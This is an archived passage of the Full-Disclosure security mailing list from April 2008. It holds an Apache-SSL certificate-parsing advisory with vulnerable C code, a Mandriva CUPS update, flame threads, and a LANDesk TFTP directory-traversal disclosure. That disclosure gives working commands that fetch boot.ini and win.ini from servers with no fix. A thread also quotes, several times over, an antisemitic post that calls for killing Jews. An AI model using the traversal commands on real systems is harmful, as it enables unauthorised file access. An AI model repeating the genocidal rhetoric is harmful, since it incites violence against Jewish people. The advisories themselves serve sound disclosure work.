> > > with Joel and Johannes doesn't qualify as a "oh > > my ghod, let's drop *everything* > > > and shut down the entire workflow and not do a > > single damned thing until this > > > issue is resolved". > > > > They aren't busy or getting on with business, they > > have obviously > > snubbed the n3td3v agenda. > > > > Joel Esler is back on duty, > > http://isc.sans.org/diary.html?storyid=4225 he > > obviously hasn't been > > sacked and he is talking about April Fools Day. > > > > I'm mighty angry, > > > > n3td3v > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > > > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - > > http://secunia.com/ > > > > > > __________________________________________________________ > Sent from Yahoo! Mail. > A Smarter Inbox http://uk.docs.yahoo.com/nowyoucan.html > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080402/61e28c72/attachment.html From Glenn.Everhart at chase.com Wed Apr 2 15:22:06 2008 From: Glenn.Everhart at chase.com (Glenn.Everhart at chase.com) Date: Wed, 2 Apr 2008 10:22:06 -0400 Subject: [Full-disclosure] Greedy Jews fact of the day Message-ID: The atrocities in Canaan reported about places like Jericho and Ai happened something like 3 millennia ago now; time to get over them, and remember there may be statements in the Bible which are not divinely inspired. In fact the Bible says there are. See for example Jeremiah 8:8 which I have seen translated as roughly: "How can you say 'we are wise, for we have Yahweh's Torah' when it was written for a lie, by the lying pens of scribes" The tales of Ai and Jericho and so on that come down to us do let us know the Bible narration has survived pretty well intact, not been cleaned up or prettied up as happens with so many narrations with unpleasant acts done by the protagonists. The later prophets gave a much more worthy picture of how God wants us to act, as did Christ. Yes, there are people who claim their religion advocates killing all other groups, disposessing them, stealing from them, etc. etc. but people like that tend to have lives that are (as Hobbes put it) nasty, brutish, and short. Remembering ancient feuds and wrongs particularly after so long a time is a good way to claim such a fate also. Thus folks should have a care about feeding old feuds too. -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk]On Behalf Of Andrew A Sent: Tuesday, April 01, 2008 7:22 PM To: Full Disclosure Subject: [Full-disclosure] Greedy Jews fact of the day "And it shall be, when the LORD thy God shall bring thee into the land which He swore unto thy fathers, to Abraham, to Isaac, and to Jacob, to give thee--great and goodly cities, which thou didst not build, and houses full of all good things, which thou didst not fill, and cisterns hewn out, which thou didst not hew, vineyards and olive-trees, which thou didst not plant, and thou shalt eat and be satisfied." These verses from Deuteronomy chapter 6 are written on a piece of parchment and placed in a box which is hung outside the house of every Jew that keeps the covenant. And so they have accomplished, in the United States of America. The subprime crises and resulting bailouts (at our expense by our national reserve bank, which is headed by an Orthodox Jew serving a board of Orthodox Jews) are going to create thousands of empty homes and plots of arable land owned by investment banking institutions that are owned exclusively by Orthodox Jews. Why should we leave a single follower of such a filthy, greedy religion alive? Do any of you have an idea? I pray to you, the Lord my God, to help me destroy the Jewish meme. Every single follower of this arrogant and horrible idea should have their gold exchanged for flying pieces of lead and steel. Let the Jews take what they have reaped and sown-- death, destruction and hatred. ----------------------------------------- This transmission may contain information that is privileged, confidential, legally privileged, and/or exempt from disclosure under applicable law. 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080402/dc1d9898/attachment.html From adam at algroup.co.uk Wed Apr 2 17:19:47 2008 From: adam at algroup.co.uk (Adam Laurie) Date: Wed, 02 Apr 2008 17:19:47 +0100 Subject: [Full-disclosure] ANNOUNCE: Apache-SSL security release - apache_1.3.41+ssl_1.59 Message-ID: <47F3B223.1000404@algroup.co.uk> Folks, Following information/research provided by Alexander Klink, a new release is out, fixing a low priority security issue as detailed below. The release is on the primary Apache-SSL ftp server and should hit the mirrors over the next few hours, according to their schedules. See http://www.apache-ssl.org for mirrors. Advisory follows: ============================================ ||| Security Advisory AKLINK-SA-2008-005 ||| ||| CVE-2008-0555 (CVE candidate) ||| ============================================ Apache-SSL memory disclosure ============================ Date released: 02.04.2008 Date reported: 17.01.2008 $Revision: 1.1 $ by Alexander Klink Cynops GmbH a.klink at cynops.de https://www.cynops.de/advisories/CVE-2008-0555.txt (S/MIME signed: https://www.cynops.de/advisories/CVE-2008-0555-signed.txt) https://www.klink.name/security/aklink-sa-2008-005-apache-ssl.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0555 Vendor: Adam & Ben Laurie Product: Apache-SSL Website: http://www.apache-ssl.org Vulnerability: memory disclosure, potential privilege escalation in web applications Class: remote Status: patched Severity: low Releases known to be affected: apache_1.3.34+ssl_1.57 Releases known NOT to be affected: apache_1.3.41+ssl_1.59 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Background: Apache-SSL is a secure Webserver, based on Apache and SSLeay/OpenSSL. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Overview: Apache-SSL provides environment variables that are filled with (client) certificate data. If the subject of a client certificate contains special characters, parts of these variables can be overwritten or be filled with other parts of memory. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Technical details: The certificate DN as returned by the OpenSSL X509_NAME_online is passed into the following function: static void ExpandCert(pool *p,table *pEnv,char *szPrefix, char *szDN, char *szCert) { char buf[HUGE_STRING_LEN]; char *s,*t; /* Expand a X509_oneline entry into it's base components and register them as environment variables. Needed if you want to pass certificate information to CGI's. The naming convention SHOULD be fairly compatible with CGI's written for stronghold's certificate info - Q */ /* FIXME - strtok() and strcspn() may cause problems on some systems - Q */ ap_table_setn(pEnv,szDN,ap_pstrdup(p,szCert)); ap_cpystrn(buf,szCert,sizeof buf); for(s=strtok(buf,"/") ; s != NULL ; s=strtok(NULL,"/")) { int n=strcspn(s,"="); s[n]='\0'; StrUpper(s); t=ap_pstrcat(p,szPrefix,s,NULL); ap_table_setn(pEnv,t,ap_pstrdup(p,s+n+1)); } } The function assumes that the relative distinguished name does not contain a '/'. If a / is contained in for example the common name, strcspn(s,"=") returns the size of s, so s+n+1 points beyond the current token. Furthermore, environment variables can be overwritten by including '/' and '='. For example, to overwrite the OPENSSL_S_CLIENT_DN_OU variable, one could use a certificate with a CN of "/OU=Fake OU". If an application relies on this information to distinguish certificates into different authorization classes, it can be fooled this way. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Communication: * 17.01.2008: Reported the bug to Ben Laurie * 17.01.2008: Ben replies and acknowledges the bug * 01.02.2008: Checking back with Ben on the status * 01.02.2008: Ben replies that he'll be looking into a patch over the weekend * 06.02.2008: Ben sends patch and asks for help with testing it * 07.02.2008: Reply with test results (still a small problem unrelated to the original issue) * 09.02.2008: Ben sends updated patch * 11.02.2008: Told Ben that patch works fine * 18.02.2008: Requested update * 18.02.2008: Ben replies that he'll deal with it in the next week or so * 27.02.2008: Requested update * 27.02.2008: Patch for Apache 1.3.41 is ready, but release is normally managed by Adam Laurie, who is on holiday till March, 11th * 28.02.2008: Agreed to wait for Adam to return * 12.03.2008: Ben informs Adam of the new release * 25.03.2008: Requested update * 25.03.2008: Ben replies, they are waiting for an updated advisory from me * 25.03.2008: Sent out updated advisory * 27.03.2008: Adam says sorry for the delays and that he will try to work on this while he is at "a conference in Amsterdam" * 01.04.2008: Coordination with Adam and Ben on a release +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Solution: Upgrade to apache_1.3.41+ssl_1.59. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Credits: - Alexander Klink, Cynops GmbH (discovery) cheers, Adam -- Adam Laurie Tel: +44 (0) 1304 814800 The Bunker Secure Hosting Ltd. Fax: +44 (0) 1304 814899 Ash Radar Station Marshborough Road Sandwich mailto:adam at algroup.co.uk Kent CT13 0PL UNITED KINGDOM PGP key on keyservers From razishaban at gmail.com Wed Apr 2 18:20:44 2008 From: razishaban at gmail.com (Razi Shaban) Date: Wed, 2 Apr 2008 20:20:44 +0300 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: References: Message-ID: <2d792fb20804021020s6295e849i704f8d4d0ac2abb1@mail.gmail.com> Quick question: What does any of this have to do with "Full Disclosure"? Are any of you disclosing anything? -- Razi On 4/2/08, Glenn.Everhart at chase.com wrote: > > > The atrocities in Canaan reported about places like Jericho and Ai happened > something like 3 millennia ago now; time to > get over them, and remember there may be statements in the Bible which are > not divinely inspired. In fact the Bible says > there are. See for example Jeremiah 8:8 which I have seen translated as > roughly: > "How can you say 'we are wise, for we have Yahweh's Torah' when it was > written for a lie, by the lying pens of scribes" > > The tales of Ai and Jericho and so on that come down to us do let us know > the Bible narration has survived pretty well > intact, not been cleaned up or prettied up as happens with so many > narrations with unpleasant acts done by the protagonists. > > The later prophets gave a much more worthy picture of how God wants us to > act, as did Christ. > > Yes, there are people who claim their religion advocates killing all other > groups, disposessing them, stealing from them, > etc. etc. but people like that tend to have lives that are (as Hobbes put > it) nasty, brutish, and short. Remembering ancient > feuds and wrongs particularly after so long a time is a good way to claim > such a fate also. Thus folks should have a care > about feeding old feuds too. > > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk]On Behalf > Of Andrew A > Sent: Tuesday, April 01, 2008 7:22 PM > To: Full Disclosure > Subject: [Full-disclosure] Greedy Jews fact of the day > > "And it shall be, when the LORD thy God shall bring thee into the land which > He swore unto thy fathers, to Abraham, to Isaac, and to Jacob, to give > thee--great and goodly cities, which thou didst not build, and houses full > of all good things, which thou didst not fill, and cisterns hewn out, which > thou didst not hew, vineyards and olive-trees, which thou didst not plant, > and thou shalt eat and be satisfied." > > These verses from Deuteronomy chapter 6 are written on a piece of parchment > and placed in a box which is hung outside the house of every Jew that keeps > the covenant. > > And so they have accomplished, in the United States of America. The subprime > crises and resulting bailouts (at our expense by our national reserve bank, > which is headed by an Orthodox Jew serving a board of Orthodox Jews) are > going to create thousands of empty homes and plots of arable land owned by > investment banking institutions that are owned exclusively by Orthodox Jews. > > Why should we leave a single follower of such a filthy, greedy religion > alive? Do any of you have an idea? > > I pray to you, the Lord my God, to help me destroy the Jewish meme. Every > single follower of this arrogant and horrible idea should have their gold > exchanged for flying pieces of lead and steel. Let the Jews take what they > have reaped and sown-- death, destruction and hatred. > > ________________________________ > > > This transmission may contain information that is privileged, confidential, > legally privileged, and/or exempt from disclosure under applicable law. If > you are not the intended recipient, you are hereby notified that any > disclosure, copying, distribution, or use of the information contained > herein (including any reliance thereon) is STRICTLY PROHIBITED. Although > this transmission and any attachments are believed to be free of any virus > or other defect that might affect any computer system into which it is > received and opened, it is the responsibility of the recipient to ensure > that it is virus free and no responsibility is accepted by JPMorgan Chase & > Co., its subsidiaries and affiliates, as applicable, for any loss or damage > arising in any way from its use. If you received this transmission in error, > please immediately contact the sender and destroy the material in its > entirety, whether in electronic or hard copy format. Thank you. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From aluigi at autistici.org Wed Apr 2 19:42:47 2008 From: aluigi at autistici.org (Luigi Auriemma) Date: Wed, 2 Apr 2008 20:42:47 +0200 Subject: [Full-disclosure] Directory traversal in LANDesk Management Suite 8.80.1.1 Message-ID: <20080402204247.42f3819c.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: LANDesk Management Suite http://www.landesk.com/products/ldms/index.aspx Versions: <= 8.80.1.1 Platforms: Windows Bug: directory traversal Exploitation: remote Date: 01 Apr 2008 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== LANDesk is a well known system management software. ####################################################################### ====== 2) Bug ====== The PXE TFTP Service is vulnerable to a classical directory traversal vulnerability exploitable through the adding of one or more chars before the usual dotdot pattern. The interesting thing is that version 8.80.1.1 has been released just to fix another directory traversal vulnerability. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/tftpx.zip tftpx SERVER x\..\..\..\..\..\..\..\boot.ini none tftpx SERVER what_you_want/../../../../../../../windows/win.ini none ####################################################################### ====== 4) Fix ====== No fix ####################################################################### --- Luigi Auriemma http://aluigi.org From tbiehn at gmail.com Wed Apr 2 20:52:55 2008 From: tbiehn at gmail.com (T Biehn) Date: Wed, 2 Apr 2008 15:52:55 -0400 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <2d792fb20804021020s6295e849i704f8d4d0ac2abb1@mail.gmail.com> References: <2d792fb20804021020s6295e849i704f8d4d0ac2abb1@mail.gmail.com> Message-ID: <2d6724810804021252g36b10ff3x7d1698b4c56b7804@mail.gmail.com> That you're a douche maybe. On Wed, Apr 2, 2008 at 1:20 PM, Razi Shaban wrote: > Quick question: > What does any of this have to do with "Full Disclosure"? > Are any of you disclosing anything? > > -- > Razi > > > > On 4/2/08, Glenn.Everhart at chase.com wrote: > > > > > > The atrocities in Canaan reported about places like Jericho and Ai happened > > something like 3 millennia ago now; time to > > get over them, and remember there may be statements in the Bible which are > > not divinely inspired. In fact the Bible says > > there are. See for example Jeremiah 8:8 which I have seen translated as > > roughly: > > "How can you say 'we are wise, for we have Yahweh's Torah' when it was > > written for a lie, by the lying pens of scribes" > > > > The tales of Ai and Jericho and so on that come down to us do let us know > > the Bible narration has survived pretty well > > intact, not been cleaned up or prettied up as happens with so many > > narrations with unpleasant acts done by the protagonists. > > > > The later prophets gave a much more worthy picture of how God wants us to > > act, as did Christ. > > > > Yes, there are people who claim their religion advocates killing all other > > groups, disposessing them, stealing from them, > > etc. etc. but people like that tend to have lives that are (as Hobbes put > > it) nasty, brutish, and short. Remembering ancient > > feuds and wrongs particularly after so long a time is a good way to claim > > such a fate also. Thus folks should have a care > > about feeding old feuds too. > > > > -----Original Message----- > > From: full-disclosure-bounces at lists.grok.org.uk > > [mailto:full-disclosure-bounces at lists.grok.org.uk]On Behalf > > Of Andrew A > > Sent: Tuesday, April 01, 2008 7:22 PM > > To: Full Disclosure > > Subject: [Full-disclosure] Greedy Jews fact of the day > > > > "And it shall be, when the LORD thy God shall bring thee into the land which > > He swore unto thy fathers, to Abraham, to Isaac, and to Jacob, to give > > thee--great and goodly cities, which thou didst not build, and houses full > > of all good things, which thou didst not fill, and cisterns hewn out, which > > thou didst not hew, vineyards and olive-trees, which thou didst not plant, > > and thou shalt eat and be satisfied." > > > > These verses from Deuteronomy chapter 6 are written on a piece of parchment > > and placed in a box which is hung outside the house of every Jew that keeps > > the covenant. > > > > And so they have accomplished, in the United States of America. The subprime > > crises and resulting bailouts (at our expense by our national reserve bank, > > which is headed by an Orthodox Jew serving a board of Orthodox Jews) are > > going to create thousands of empty homes and plots of arable land owned by > > investment banking institutions that are owned exclusively by Orthodox Jews. > > > > Why should we leave a single follower of such a filthy, greedy religion > > alive? Do any of you have an idea? > > > > I pray to you, the Lord my God, to help me destroy the Jewish meme. Every > > single follower of this arrogant and horrible idea should have their gold > > exchanged for flying pieces of lead and steel. Let the Jews take what they > > have reaped and sown-- death, destruction and hatred. > > > > ________________________________ > > > > > > This transmission may contain information that is privileged, confidential, > > legally privileged, and/or exempt from disclosure under applicable law. If > > you are not the intended recipient, you are hereby notified that any > > disclosure, copying, distribution, or use of the information contained > > herein (including any reliance thereon) is STRICTLY PROHIBITED. Although > > this transmission and any attachments are believed to be free of any virus > > or other defect that might affect any computer system into which it is > > received and opened, it is the responsibility of the recipient to ensure > > that it is virus free and no responsibility is accepted by JPMorgan Chase & > > Co., its subsidiaries and affiliates, as applicable, for any loss or damage > > arising in any way from its use. If you received this transmission in error, > > please immediately contact the sender and destroy the material in its > > entirety, whether in electronic or hard copy format. Thank you. > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From mastahflank at gmail.com Wed Apr 2 21:02:03 2008 From: mastahflank at gmail.com (=?utf-8?B?am9zaA==?=) Date: Wed, 2 Apr 2008 20:02:03 +0000 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <2d6724810804021252g36b10ff3x7d1698b4c56b7804@mail.gmail.com> References: <2d792fb20804021020s6295e849i704f8d4d0ac2abb1@mail.gmail.com><2d6724810804021252g36b10ff3x7d1698b4c56b7804@mail.gmail.com> Message-ID: <70801963-1207166525-cardhu_decombobulator_blackberry.rim.net-2143400864-@bxe032.bisx.prod.on.blackberry> Or that this is off-topic, maybe? Sent from my BlackBerry? smartphone with SprintSpeed -----Original Message----- From: "T Biehn" Date: Wed, 2 Apr 2008 15:52:55 To:"Razi Shaban" Cc:full-disclosure at lists.grok.org.uk,"Glenn.Everhart at chase.com" Subject: Re: [Full-disclosure] Greedy Jews fact of the day That you're a douche maybe. On Wed, Apr 2, 2008 at 1:20 PM, Razi Shaban wrote: > Quick question: > What does any of this have to do with "Full Disclosure"? > Are any of you disclosing anything? > > -- > Razi > > > > On 4/2/08, Glenn.Everhart at chase.com wrote: > > > > > > The atrocities in Canaan reported about places like Jericho and Ai happened > > something like 3 millennia ago now; time to > > get over them, and remember there may be statements in the Bible which are > > not divinely inspired. In fact the Bible says > > there are. See for example Jeremiah 8:8 which I have seen translated as > > roughly: > > "How can you say 'we are wise, for we have Yahweh's Torah' when it was > > written for a lie, by the lying pens of scribes" > > > > The tales of Ai and Jericho and so on that come down to us do let us know > > the Bible narration has survived pretty well > > intact, not been cleaned up or prettied up as happens with so many > > narrations with unpleasant acts done by the protagonists. > > > > The later prophets gave a much more worthy picture of how God wants us to > > act, as did Christ. > > > > Yes, there are people who claim their religion advocates killing all other > > groups, disposessing them, stealing from them, > > etc. etc. but people like that tend to have lives that are (as Hobbes put > > it) nasty, brutish, and short. Remembering ancient > > feuds and wrongs particularly after so long a time is a good way to claim > > such a fate also. Thus folks should have a care > > about feeding old feuds too. > > > > -----Original Message----- > > From: full-disclosure-bounces at lists.grok.org.uk > > [mailto:full-disclosure-bounces at lists.grok.org.uk]On Behalf > > Of Andrew A > > Sent: Tuesday, April 01, 2008 7:22 PM > > To: Full Disclosure > > Subject: [Full-disclosure] Greedy Jews fact of the day > > > > "And it shall be, when the LORD thy God shall bring thee into the land which > > He swore unto thy fathers, to Abraham, to Isaac, and to Jacob, to give > > thee--great and goodly cities, which thou didst not build, and houses full > > of all good things, which thou didst not fill, and cisterns hewn out, which > > thou didst not hew, vineyards and olive-trees, which thou didst not plant, > > and thou shalt eat and be satisfied." > > > > These verses from Deuteronomy chapter 6 are written on a piece of parchment > > and placed in a box which is hung outside the house of every Jew that keeps > > the covenant. > > > > And so they have accomplished, in the United States of America. The subprime > > crises and resulting bailouts (at our expense by our national reserve bank, > > which is headed by an Orthodox Jew serving a board of Orthodox Jews) are > > going to create thousands of empty homes and plots of arable land owned by > > investment banking institutions that are owned exclusively by Orthodox Jews. > > > > Why should we leave a single follower of such a filthy, greedy religion > > alive? Do any of you have an idea? > > > > I pray to you, the Lord my God, to help me destroy the Jewish meme. Every > > single follower of this arrogant and horrible idea should have their gold > > exchanged for flying pieces of lead and steel. Let the Jews take what they > > have reaped and sown-- death, destruction and hatred. > > > > ________________________________ > > > > > > This transmission may contain information that is privileged, confidential, > > legally privileged, and/or exempt from disclosure under applicable law. If > > you are not the intended recipient, you are hereby notified that any > > disclosure, copying, distribution, or use of the information contained > > herein (including any reliance thereon) is STRICTLY PROHIBITED. Although > > this transmission and any attachments are believed to be free of any virus > > or other defect that might affect any computer system into which it is > > received and opened, it is the responsibility of the recipient to ensure > > that it is virus free and no responsibility is accepted by JPMorgan Chase & > > Co., its subsidiaries and affiliates, as applicable, for any loss or damage > > arising in any way from its use. If you received this transmission in error, > > please immediately contact the sender and destroy the material in its > > entirety, whether in electronic or hard copy format. Thank you. > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From xploitable at gmail.com Wed Apr 2 21:26:03 2008 From: xploitable at gmail.com (n3td3v) Date: Wed, 2 Apr 2008 21:26:03 +0100 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <47F370E6.50301@gmail.com> References: <200803211614.11815.atlas@r4780y.com> <4b6ee9310803221427s289092b1x5066e5f7ff61e17e@mail.gmail.com> <4b6ee9310803291008s459baecexd33b982871045cf8@mail.gmail.com> <20605.1206932416@turing-police.cc.vt.edu> <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> <47F370E6.50301@gmail.com> Message-ID: <4b6ee9310804021326u61aabdafy48f785b8a029771b@mail.gmail.com> On Wed, Apr 2, 2008 at 12:41 PM, Jeff Stebelton wrote: > you don't need to fill up > people's inboxes with rants and rambling calls for action from the White > House (that one split my side laughing). "In the Presidents Early Bird > briefings today is yet another serious cyberwarfare warning from that > accomplished and respected security researcher, n3td3v. Mark this Top > Priority and make sure he sees it first thing!". No, it was sending signals to important people to take action to get it further pushed up the ladder. In no way do I expect my e-mail to be directly looked at by the white house. Through signal intelligence, the folks at GCHQ and NSA would see it and it would infulence others who lurk on this list to take action. And for your information, thats whats happened. For instance, http://blog.securitynow.us/2008/03/19/storm-worm-russian-business-network-rbn/ "I have sent a plea for assistance to some of my contacts within the US government and hope others do as well to get this issue resolved." So unless you've got other ideas on how to stop Storm Worm, stop trolling in my threads with off-topicness. n3td3v is big in the security community and is working with others to get things done for the better of everyone. Regards, n3td3v From security at mandriva.com Wed Apr 2 21:42:00 2008 From: security at mandriva.com (security at mandriva.com) Date: Wed, 02 Apr 2008 14:42:00 -0600 Subject: [Full-disclosure] [ MDVSA-2008:081 ] - Updated CUPS packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDVSA-2008:081 http://www.mandriva.com/security/ _______________________________________________________________________ Package : cups Date : April 2, 2008 Affected: 2007.0, 2007.1, 2008.0, Corporate 3.0, Corporate 4.0 _______________________________________________________________________ Problem Description: A heap-based buffer overflow in CUPS 1.2.x and later was discovered by regenrecht of VeriSign iDenfense that could allow a remote attacker to execute arbitrary code via a crafted CGI search expression (CVE-2008-0047). A validation error in the Hp-GL/2 filter was also discovered (CVE-2008-0053). Finally, a vulnerability in how CUPS handled GIF files was found by Tomas Hoger of Red Hat, similar to previous issues corrected in PHP, gd, tk, netpbm, and SDL_image (CVE-2008-1373). The updated packages have been patched to correct these issues. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0047 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0053 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1373 _______________________________________________________________________ Updated Packages: Mandriva Linux 2007.0: 4ecbfe664ba6820bf06dc406133e265c 2007.0/i586/cups-1.2.4-1.8mdv2007.0.i586.rpm 6d51733a95884e36cca9570738537ff6 2007.0/i586/cups-common-1.2.4-1.8mdv2007.0.i586.rpm abe0591d8b2b390a82dffcd2fed43b14 2007.0/i586/cups-serial-1.2.4-1.8mdv2007.0.i586.rpm 91ffe19d342810de71e056e213056552 2007.0/i586/libcups2-1.2.4-1.8mdv2007.0.i586.rpm 71fd9246da1e48b2dc6a60ceeae41e48 2007.0/i586/libcups2-devel-1.2.4-1.8mdv2007.0.i586.rpm bd0f3b69fe5dc7bddd6c121200db014d 2007.0/i586/php-cups-1.2.4-1.8mdv2007.0.i586.rpm cb50a10a1096424175c1a49e8e22a8a1 2007.0/SRPMS/cups-1.2.4-1.8mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: d9423a942f4f779959cfe489866b52f5 2007.0/x86_64/cups-1.2.4-1.8mdv2007.0.x86_64.rpm 8b13ba591a7dc53c658876dae447ce17 2007.0/x86_64/cups-common-1.2.4-1.8mdv2007.0.x86_64.rpm 9e434edde16c05fded1b706adaae859d 2007.0/x86_64/cups-serial-1.2.4-1.8mdv2007.0.x86_64.rpm 9733f3116c8488148471af3d5bdafd16 2007.0/x86_64/lib64cups2-1.2.4-1.8mdv2007.0.x86_64.rpm fbb5010088c23aa2cf635875179adc3c 2007.0/x86_64/lib64cups2-devel-1.2.4-1.8mdv2007.0.x86_64.rpm 00e05d49f33ef5d0067287ef1a27246c 2007.0/x86_64/php-cups-1.2.4-1.8mdv2007.0.x86_64.rpm cb50a10a1096424175c1a49e8e22a8a1 2007.0/SRPMS/cups-1.2.4-1.8mdv2007.0.src.rpm Mandriva Linux 2007.1: dc81f96bd48732eed770b0090b333695 2007.1/i586/cups-1.2.10-2.6mdv2007.1.i586.rpm 3545d312400a8f5aad55e323d2ff3543 2007.1/i586/cups-common-1.2.10-2.6mdv2007.1.i586.rpm f4656b26df51f63813a49006415a783b 2007.1/i586/cups-serial-1.2.10-2.6mdv2007.1.i586.rpm ab1869c8ddeda927fdfbc49c386756f1 2007.1/i586/libcups2-1.2.10-2.6mdv2007.1.i586.rpm 5de192ed26380212896fcd376a1b3e23 2007.1/i586/libcups2-devel-1.2.10-2.6mdv2007.1.i586.rpm a347c58fc3e76e064cabf8425d0245ab 2007.1/i586/php-cups-1.2.10-2.6mdv2007.1.i586.rpm 15c9274e61f9dbe98150fa1ae58ef7bc 2007.1/SRPMS/cups-1.2.10-2.6mdv2007.1.src.rpm Mandriva Linux 2007.1/X86_64: 1faa57f00d0577f6d25cddf7fccd7edb 2007.1/x86_64/cups-1.2.10-2.6mdv2007.1.x86_64.rpm 26a14fabfef38f2fd4ab88c6184d4e2f 2007.1/x86_64/cups-common-1.2.10-2.6mdv2007.1.x86_64.rpm b5a49bfbeb004af58e1e5f9c1660dece 2007.1/x86_64/cups-serial-1.2.10-2.6mdv2007.1.x86_64.rpm 6b81f4e888dec6e94231b01fd5d162bf 2007.1/x86_64/lib64cups2-1.2.10-2.6mdv2007.1.x86_64.rpm 256313a9ac10203a7d59deb6ff0a3da0 2007.1/x86_64/lib64cups2-devel-1.2.10-2.6mdv2007.1.x86_64.rpm 41e268b0e9e8a5e256c9af6192dfcae0 2007.1/x86_64/php-cups-1.2.10-2.6mdv2007.1.x86_64.rpm 15c9274e61f9dbe98150fa1ae58ef7bc 2007.1/SRPMS/cups-1.2.10-2.6mdv2007.1.src.rpm Mandriva Linux 2008.0: 27ee99856a1c4448cdee618f2db8ae52 2008.0/i586/cups-1.3.6-1.1mdv2008.0.i586.rpm 09a6026a683b1ea029b63b0480aa2d4b 2008.0/i586/cups-common-1.3.6-1.1mdv2008.0.i586.rpm 7974c9c3a572a389fea83250cd57c8e1 2008.0/i586/cups-serial-1.3.6-1.1mdv2008.0.i586.rpm a6432e417d401b7900113763255bf8c3 2008.0/i586/libcups2-1.3.6-1.1mdv2008.0.i586.rpm cfb0fd68a1d60f1dfa985da0bb79190f 2008.0/i586/libcups2-devel-1.3.6-1.1mdv2008.0.i586.rpm aba1862f9db0e18f09d581ef0a95fde8 2008.0/i586/php-cups-1.3.6-1.1mdv2008.0.i586.rpm e034c775d5b04fffb14cb441b8174a55 2008.0/SRPMS/cups-1.3.6-1.1mdv2008.0.src.rpm Mandriva Linux 2008.0/X86_64: b18f356dc9fc5cda784e576e3f20a801 2008.0/x86_64/cups-1.3.6-1.1mdv2008.0.x86_64.rpm bccc98b2ad3205d2c301036ba9d28f61 2008.0/x86_64/cups-common-1.3.6-1.1mdv2008.0.x86_64.rpm 1c1837c8a8eb04609daa405553ab7fe8 2008.0/x86_64/cups-serial-1.3.6-1.1mdv2008.0.x86_64.rpm 5748bf84c1239e2b4255446cbf6c8285 2008.0/x86_64/lib64cups2-1.3.6-1.1mdv2008.0.x86_64.rpm bd593d10e724d5fcb41a474ceb985996 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You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) iD8DBQFH88NLmqjQ0CJFipgRAvgQAJ9PyMfRvtdcft3hCuqCnGg+4dLucQCgrz1i QDjzjtxa/ZH8ibtkLnEJNvQ= =7iZK -----END PGP SIGNATURE----- From pauls at utdallas.edu Wed Apr 2 22:08:56 2008 From: pauls at utdallas.edu (Paul Schmehl) Date: Wed, 02 Apr 2008 16:08:56 -0500 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <4b6ee9310804021326u61aabdafy48f785b8a029771b@mail.gmail.com> References: <200803211614.11815.atlas@r4780y.com> <4b6ee9310803221427s289092b1x5066e5f7ff61e17e@mail.gmail.com> <4b6ee9310803291008s459baecexd33b982871045cf8@mail.gmail.com> <20605.1206932416@turing-police.cc.vt.edu> <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> <47F370E6.50301@gmail.com> <4b6ee9310804021326u61aabdafy48f785b8a029771b@mail.gmail.com> Message-ID: --On Wednesday, April 02, 2008 21:26:03 +0100 n3td3v wrote: > > No, it was sending signals to important people to take action to get > it further pushed up the ladder. In no way do 